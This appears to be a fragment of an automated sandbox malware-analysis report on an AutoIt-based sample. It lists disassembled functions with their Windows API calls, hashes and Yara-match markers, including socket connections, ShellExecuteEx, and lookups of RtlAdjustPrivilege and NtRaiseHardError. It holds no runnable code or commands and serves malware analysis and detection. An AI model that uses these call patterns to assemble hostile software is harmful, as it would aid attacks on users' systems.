GetDC.USER32(00000000), ref: 03B9AA7C
GetWinMetaFileBits.GDI32(?,00000000,00000000,00000008,?,00000000,03B9AB37,?,00000000,?,?,000009EC,?,?,000009EC), ref: 03B9AAA0
GetWinMetaFileBits.GDI32(?,?,?,00000008,?,00000000,03B9AB17,?,?,00000000,00000000,00000008,?,00000000,03B9AB37), ref: 03B9AAD3

Strings

`, xrefs: 03B9AA34

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: BitsFileMeta
String ID: `
API String ID: 858000408-2679148245
Opcode ID: bf15f77f726b81af2987e5fc64b76e95d031af19dcfd3a091b33ef6e781b003b
Instruction ID: 00a30d136a07e8e8fa63d566c2b996ee874ef8a71b6f412840b1dd3048570b57
Opcode Fuzzy Hash: bf15f77f726b81af2987e5fc64b76e95d031af19dcfd3a091b33ef6e781b003b
Instruction Fuzzy Hash: D9314179A10348ABDF00EFA4C881EAEB7B8EF49704F5044F5E904EB251D6389E40DB65

Function 008C68F2 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 008C6911
GetWindowLongW.USER32(00EE5980,000000F0), ref: 008C6944
GetWindowLongW.USER32(00EE5980,000000F0), ref: 008C6979
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 008C69AB
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 008C69D5
GetWindowLongW.USER32(00000000,000000F0), ref: 008C69E6
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 008C6A00

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: e7957d44f871ca20213eecc21525829da38901f9d075815ceddbf0fcd62245e2
Instruction ID: edc6269150e40810063eedd149cb57f5f8eb5bb3f7eef6e54f57ac84c940fd18
Opcode Fuzzy Hash: e7957d44f871ca20213eecc21525829da38901f9d075815ceddbf0fcd62245e2
Instruction Fuzzy Hash: 2D3102306082509FDB208F58EC88F647BE1FB49320F1842A8F905CB2A1DB71E864DB51

Function 0089E287 Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0089E2CA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0089E2F0
SysAllocString.OLEAUT32(00000000), ref: 0089E2F3
SysAllocString.OLEAUT32(?), ref: 0089E311
SysFreeString.OLEAUT32(?), ref: 0089E31A
StringFromGUID2.OLE32(?,?,00000028), ref: 0089E33F
SysAllocString.OLEAUT32(?), ref: 0089E34D

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 63a4899e9b9722a184623835dba51970406eebae60bd7369aff1975047d95b86
Instruction ID: c62e4d24c9dcf1e3963dd271550fea7a37984af1f1318ba91ee1907a3d86aa9e
Opcode Fuzzy Hash: 63a4899e9b9722a184623835dba51970406eebae60bd7369aff1975047d95b86
Instruction Fuzzy Hash: E421B73260121DBF9F10EFA8DC88DBB77ADFB08364B084125FA18DB250DA70DC419B64

Function 008B685E Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 008B8475: inet_addr.WSOCK32(00000000), ref: 008B84A0

socket.WSOCK32(00000002,00000001,00000006), ref: 008B68B1
WSAGetLastError.WSOCK32(00000000), ref: 008B68C0
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 008B68F9
connect.WSOCK32(00000000,?,00000010), ref: 008B6902
WSAGetLastError.WSOCK32 ref: 008B690C
closesocket.WSOCK32(00000000), ref: 008B6935
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 008B694E

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: c9d1b23f4483f1b7f29d59ab25336aefa322095657051960230c1f8ce3ff6b62
Instruction ID: abab99169e392e0c68f594d4e73dc438a4211655b5c07410776ff5fab4ef654d
Opcode Fuzzy Hash: c9d1b23f4483f1b7f29d59ab25336aefa322095657051960230c1f8ce3ff6b62
Instruction Fuzzy Hash: 6F318F71600218ABDB10AF64CC85FBE7BA9FB44725F044129F905EB291DB74AC149BA2

Function 0089E360 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0089E3A5
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0089E3CB
SysAllocString.OLEAUT32(00000000), ref: 0089E3CE
SysAllocString.OLEAUT32 ref: 0089E3EF
SysFreeString.OLEAUT32 ref: 0089E3F8
StringFromGUID2.OLE32(?,?,00000028), ref: 0089E412
SysAllocString.OLEAUT32(?), ref: 0089E420

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: a77ec069dacbb09f0c7baa3e471044ecf9d2ffb4dcb519e050f4b963d215da01
Instruction ID: 0fa87f366d0e8f75d242d5a3d7fb93f43033a025cfdd5247f8cbe8544c3303e1
Opcode Fuzzy Hash: a77ec069dacbb09f0c7baa3e471044ecf9d2ffb4dcb519e050f4b963d215da01
Instruction Fuzzy Hash: 7A217735605108BF9F10EFA8DC88DAE77ECFB48364B048225F905CB261D670EC419BA5

Function 03B9B080 Relevance: 10.6, APIs: 7, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 03B98930: GetObjectA.GDI32(?,00000004), ref: 03B98947
Part of subcall function 03B98930: GetPaletteEntries.GDI32(?,00000000,?,?), ref: 03B9896A

GetDC.USER32(00000000), ref: 03B9B0BE
CreateCompatibleDC.GDI32(?), ref: 03B9B0CA
SelectObject.GDI32(?), ref: 03B9B0D7
SetDIBColorTable.GDI32(?,00000000,00000000,?,00000000,03B9B12F,?,?,?,?,00000000), ref: 03B9B0FB
SelectObject.GDI32(?,?), ref: 03B9B115
DeleteDC.GDI32(?), ref: 03B9B11E
ReleaseDC.USER32(00000000,?), ref: 03B9B129

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Object$Select$ColorCompatibleCreateDeleteEntriesPaletteReleaseTable
String ID:
API String ID: 4046155103-0
Opcode ID: 5c5a123bc55bbe6936a9e5ef017fe6242ae4118909194147862246a8ec6ee406
Instruction ID: 2c74f81ac92a44d422dbf0344b0383f3a698f898b3dfe0e0062aa7212ed90df0
Opcode Fuzzy Hash: 5c5a123bc55bbe6936a9e5ef017fe6242ae4118909194147862246a8ec6ee406
Instruction Fuzzy Hash: B7116376E14318BFEB10EBE4DC91FAEB7BCEB08604F4044F6A514EB251D6749D408B90

Function 03BB5C58 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 63libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(WS2_32.DLL,00000000,03BB5D25), ref: 03BB5C87
GetLastError.KERNEL32(WS2_32.DLL,00000000,03BB5D25), ref: 03BB5C9A

Part of subcall function 03B66418: LoadStringA.USER32(00000000,00010000,?,00001000), ref: 03B6644A

GetProcAddress.KERNEL32(00000000,WSAStartup), ref: 03BB5CEB

Strings

WS2_32.DLL, xrefs: 03BB5CB5
WS2_32.DLL, xrefs: 03BB5C82
WSAStartup, xrefs: 03BB5CE0

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Load$AddressErrorLastLibraryProcString
String ID: WS2_32.DLL$WS2_32.DLL$WSAStartup
API String ID: 607613470-1314211545
Opcode ID: 0902f143942679d35b881340879e2561117170c055c9e044123b59541004ca6f
Instruction ID: 647351c6cf6b02c42f5e94c15420e14b72320024f423330d8c02065151e2123a
Opcode Fuzzy Hash: 0902f143942679d35b881340879e2561117170c055c9e044123b59541004ca6f
Instruction Fuzzy Hash: 7621A279A10308EFC720FFA4D949AAEB7F8FB4D248F4045B6E414DB641DBB499408B61

Function 03B93378 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 61sleepCOMMON

Download Yara Rule

APIs

ShellExecuteEx.SHELL32(0000003C), ref: 03B933DF
Sleep.KERNEL32(00000001), ref: 03B933EA
GetExitCodeProcess.KERNEL32(?,?), ref: 03B933F7
CloseHandle.KERNEL32(?,00000001), ref: 03B93416

Strings

@, xrefs: 03B933A8
<, xrefs: 03B933A1

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CloseCodeExecuteExitHandleProcessShellSleep
String ID: <$@
API String ID: 2207808342-1426351568
Opcode ID: 54663a67a853ceae56996caa98043b0fbc306edc882ef337e974498884cecfcd
Instruction ID: 6b169608a566f85238efa7bae6c498e9eb3148e3404d65c99191f011fa2ef337
Opcode Fuzzy Hash: 54663a67a853ceae56996caa98043b0fbc306edc882ef337e974498884cecfcd
Instruction Fuzzy Hash: E9112179E00608ABDF10DFE9D980ADEFBF8EF49314F148176E918EB251D7349A058B50

Function 03B6BD24 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 03B6BB8C: VirtualQuery.KERNEL32(?,?,0000001C), ref: 03B6BBA8
Part of subcall function 03B6BB8C: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03B6BBCC
Part of subcall function 03B6BB8C: GetModuleFileNameA.KERNEL32(00840000,?,00000105), ref: 03B6BBE7
Part of subcall function 03B6BB8C: LoadStringA.USER32(00000000,0000FFEA,?,00000100), ref: 03B6BC8B

CharToOemA.USER32(?,?), ref: 03B6BD5B
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 03B6BD78
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 03B6BD7E
GetStdHandle.KERNEL32(000000F4,03B6BDE8,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 03B6BD93
WriteFile.KERNEL32(00000000,000000F4,03B6BDE8,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 03B6BD99
LoadStringA.USER32(00000000,0000FFEB,?,00000040), ref: 03B6BDBB
MessageBoxA.USER32(00000000,?,?,00002010), ref: 03B6BDD1

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: a8a2f84b71f0f85f1d379acf512ccd30995b775712940601e4c729a5d71ee185
Instruction ID: 2a35046e17ce89a8b369895aadde75c3eef48f0c703341af445d80e112ed9cb5
Opcode Fuzzy Hash: a8a2f84b71f0f85f1d379acf512ccd30995b775712940601e4c729a5d71ee185
Instruction Fuzzy Hash: 66115EBA5543046ED300FBA4CD41F8F77ECAB49208F4009B9B358DF0D2DA78E90487A6

Function 03B92D78 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43registrywindowCOMMON

Download Yara Rule

APIs

LoadIconA.USER32(00000000,00007F00), ref: 03B92DA4
LoadCursorA.USER32(00000000,00007F00), ref: 03B92DB4
RegisterClassA.USER32 ref: 03B92DD8

Part of subcall function 03B66F0C: CreateWindowExA.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 03B66F4B

UpdateWindow.USER32(00000000), ref: 03B92E14

Strings

YourAppClass, xrefs: 03B92D7B, 03B92E04
API, xrefs: 03B92DFF

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: LoadWindow$ClassCreateCursorIconRegisterUpdate
String ID: API$YourAppClass
API String ID: 4027696755-973248557
Opcode ID: 1bcc7d227d774559e96ee015e1d5bddfffec3f103f89d64201613fbb096e5feb
Instruction ID: 1f689f71c319d7961bfe82abce941f2f806a33e3595a8959d9526af24ddb8e57
Opcode Fuzzy Hash: 1bcc7d227d774559e96ee015e1d5bddfffec3f103f89d64201613fbb096e5feb
Instruction Fuzzy Hash: 9B01EC71A593047FE740EF34CC41B1B76E1AB48B08F104979B688EF3C5E7B999448B9A

Function 03B8DBE4 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ntdll.dll), ref: 03B8DBED
GetProcAddress.KERNEL32(00000000,RtlAdjustPrivilege), ref: 03B8DBFE
GetProcAddress.KERNEL32(00000000,NtRaiseHardError), ref: 03B8DC0D

Strings

RtlAdjustPrivilege, xrefs: 03B8DBF8
NtRaiseHardError, xrefs: 03B8DC07
ntdll.dll, xrefs: 03B8DBE8

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtRaiseHardError$RtlAdjustPrivilege$ntdll.dll
API String ID: 2238633743-3189222469
Opcode ID: ce56bdbe8d9c449c84649f1933cffb961d9c3e46fc7105c6d7cddae69ca05dbe
Instruction ID: a1eda7ebd31a6d5c90be846095299ce3bfed18c8c199f213875474b7eef7dda5
Opcode Fuzzy Hash: ce56bdbe8d9c449c84649f1933cffb961d9c3e46fc7105c6d7cddae69ca05dbe
Instruction Fuzzy Hash: 26F0E9302843417FE320FB608D86F5BBA989B84B19F1488BDF655590D2C6F58040CE92

Function 008641B9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00864282,?), ref: 008641D3
GetProcAddress.KERNEL32(00000000), ref: 008641DA
EncodePointer.KERNEL32(00000000), ref: 008641E6
DecodePointer.KERNEL32(00000001,00864282,?), ref: 00864203

Strings

combase.dll, xrefs: 008641CE
RoInitialize, xrefs: 008641C2

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 0f63866533a84c19708e9bb750ef74e23936c98cbb85372f35ff9b2c70bad149
Instruction ID: e8244cfe870f26e1d615f9fb13728f93efe34b0fac86005b5d965f674508adf9
Opcode Fuzzy Hash: 0f63866533a84c19708e9bb750ef74e23936c98cbb85372f35ff9b2c70bad149
Instruction Fuzzy Hash: 1CE01A706A9701AFDB901B71EC4DB0937A5F711B06F614626B451D52A0CBB98485DF10

Function 0086428E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,008641A8), ref: 008642A8
GetProcAddress.KERNEL32(00000000), ref: 008642AF
EncodePointer.KERNEL32(00000000), ref: 008642BA
DecodePointer.KERNEL32(008641A8), ref: 008642D5

Strings

RoUninitialize, xrefs: 00864297
combase.dll, xrefs: 008642A3

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: cdaf8552d5d7fdd2032b1c640cc3dd48b74e740c8d3aab967349c74bddc46497
Instruction ID: 6be0161ec3b8f82ab1e43df7dd3b0fec79757f8aafd565dcd49cdb1794b19e7e
Opcode Fuzzy Hash: cdaf8552d5d7fdd2032b1c640cc3dd48b74e740c8d3aab967349c74bddc46497
Instruction Fuzzy Hash: 02E0B67056A700EFDB919B60AD0DB4A3B65F704B42F62821AF001D52A0CBF58504DF10

Function 0084218F Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 008421B8
GetWindowRect.USER32(?,?), ref: 008421F9
ScreenToClient.USER32(?,?), ref: 00842221
GetClientRect.USER32(?,?), ref: 00842350
GetWindowRect.USER32(?,?), ref: 00842369

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 2719960458f151c6a439d2676310d93def5bcfe5cb8214f7c5a73431a3fd3560
Instruction ID: 29b8a56fd0a724d1d525eb5c94d9b8ca0ae0b5994b54aaa22028427514fba7ed
Opcode Fuzzy Hash: 2719960458f151c6a439d2676310d93def5bcfe5cb8214f7c5a73431a3fd3560
Instruction Fuzzy Hash: 32B1573990424EDBDB10CFA8C8807EEB7B1FF08714F548129ED59EB254EB74AA50DB64

Function 008A6A73 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 008A6BC6
_memmove.LIBCMT ref: 008A6B01

Part of subcall function 00844D37: __itow.LIBCMT ref: 00844D62
Part of subcall function 00844D37: __swprintf.LIBCMT ref: 00844DAC

_memmove.LIBCMT ref: 008A6B74
_memmove.LIBCMT ref: 008A6C5B
_memmove.LIBCMT ref: 008A6C74
_memmove.LIBCMT ref: 008A6C90

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: fbd16943ad6190c60f3e53a95c9ab2f48778b6f69ef75f04273cc18f96d37cb2
Instruction ID: 3b0572707fc1109b509de65115462d3c48dbac8b3a8dbe1dc58141eff842f84d
Opcode Fuzzy Hash: fbd16943ad6190c60f3e53a95c9ab2f48778b6f69ef75f04273cc18f96d37cb2
Instruction Fuzzy Hash: DD61DC3050069AABDF01EF68C885FBE37A8FF06318F084519F955EB592EB309D15CB62

Function 008C0844 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00851A36: _memmove.LIBCMT ref: 00851A77

Part of subcall function 008C147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,008C040D,?,?), ref: 008C1491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 008C091D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 008C095D
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 008C0980
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 008C09A9
RegCloseKey.ADVAPI32(?,?,00000000), ref: 008C09EC
RegCloseKey.ADVAPI32(00000000), ref: 008C09F9

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 3709addc65d3571a5649fdb6774bec3b9a860c1570af8b554646cd79ffa14293
Instruction ID: 9f9c44e47a5be527207291c69d4db56ed42171bd5e5a33c424cbf747425d8828
Opcode Fuzzy Hash: 3709addc65d3571a5649fdb6774bec3b9a860c1570af8b554646cd79ffa14293
Instruction Fuzzy Hash: AD512631208244AFDB14EB68C885F6ABBB9FF85354F04491DF995C72A2DB31E909CF52

Function 008A29B1 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 008A29FF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 008A2A4A
IsMenu.USER32(00000000), ref: 008A2A6A
CreatePopupMenu.USER32 ref: 008A2A9E
GetMenuItemCount.USER32(000000FF), ref: 008A2AFC
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 008A2B2D

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 7c10291a69b180c67f638c89bf86df161a17c5eae9d05d69548b200a58c9e23d
Instruction ID: a1188bcb56886a6532327a1c92dc3fd5b1ba20f5df8d42b70f31956ff23a78f0
Opcode Fuzzy Hash: 7c10291a69b180c67f638c89bf86df161a17c5eae9d05d69548b200a58c9e23d
Instruction Fuzzy Hash: 86517B70600259DBEB35CF6CD888BAEBBF4FB46324F104259E811DB6A1E7709945CB61

Function 03B789A0 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,?,00000000,03B78AFA), ref: 03B789EF
CharNextA.USER32(?,?,00000000,03B78AFA), ref: 03B78A6E
CharNextA.USER32(?,?,00000000,03B78AFA), ref: 03B78A95
CharNextA.USER32(00000000,?,?,00000000,03B78AFA), ref: 03B78AAC

Strings

, xrefs: 03B78A3D

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-3916222277
Opcode ID: a42987c93273a1e85d2d4eb5cafa7ed854ca7e202aa0c48371edb0a0b789470e
Instruction ID: c0ba9ea3a1da97e1b521a27f1f89da94e05f040ec61ac6d8f444a5a637e3cb00
Opcode Fuzzy Hash: a42987c93273a1e85d2d4eb5cafa7ed854ca7e202aa0c48371edb0a0b789470e
Instruction Fuzzy Hash: 56414B74A04644DFCB21DFB8C89A959BBF5EF19308B6408F9E4A1DB311DB35AE41CB50

Function 03B7A414 Relevance: 9.1, APIs: 6, Instructions: 109threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 03B7A41F
